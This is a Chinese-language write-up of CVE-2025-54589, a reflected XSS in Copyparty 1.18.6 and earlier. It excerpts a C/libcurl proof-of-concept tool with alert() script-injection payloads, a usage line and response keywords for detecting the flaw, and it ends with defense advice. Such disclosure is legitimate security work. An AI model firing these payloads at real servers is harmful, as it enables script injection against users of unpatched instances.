Copyparty 1.18.6 - 反射型跨站脚本(XSS)漏洞
漏洞概述
CVE-2025-54589是Copyparty(≤1.18.6)中存在的一个反射型跨站脚本(XSS)漏洞,由于filter参数在插入HTML响应时未经过适当净化,攻击者能够在受害者浏览器中注入并执行任意JavaScript代码。
漏洞细节
1
2
3
4
5
6
|
/*
* 作者: Byte Reaper
* CVE编号: CVE-2025-54589
* 标题: Copyparty 1.18.6 - 反射型跨站脚本(XSS)
* 漏洞描述: filter参数未经净化直接插入HTML响应
*/
|
利用代码
该漏洞利用程序使用C语言编写,基于libcurl库发送恶意请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>
// 定义XSS攻击载荷
const char *payloadXss[] = {
"</script><script>alert(1)</script>",
"<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
"<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
|
功能特性
- 支持多种XSS攻击载荷
- 可自定义目标IP和端口
- 支持Cookie会话保持
- 详细日志输出功能
- 结果自动保存到文件
使用方法
1
|
./exploit -i <目标IP> -p <端口> [-c cookies文件] [-v 详细模式]
|
检测机制
程序会检测服务器响应中是否包含以下关键词来判断漏洞是否存在:
1
2
3
4
5
6
7
8
9
10
|
const char *wordF[] = {
"Error",
"Exception",
"Invalid",
"XSS",
"<script>",
"</script>",
"alert(1)",
// ...其他检测关键词
};
|
技术要点
- 使用curl_easy_escape()对载荷进行URL编码
- 支持HTTPS/HTTP协议
- 可自定义CA证书
- 包含详细的错误处理和日志功能
防御建议
- 对所有用户输入进行严格过滤和转义
- 升级到Copyparty最新版本
- 实施内容安全策略(CSP)
- 设置HttpOnly和Secure标志的Cookie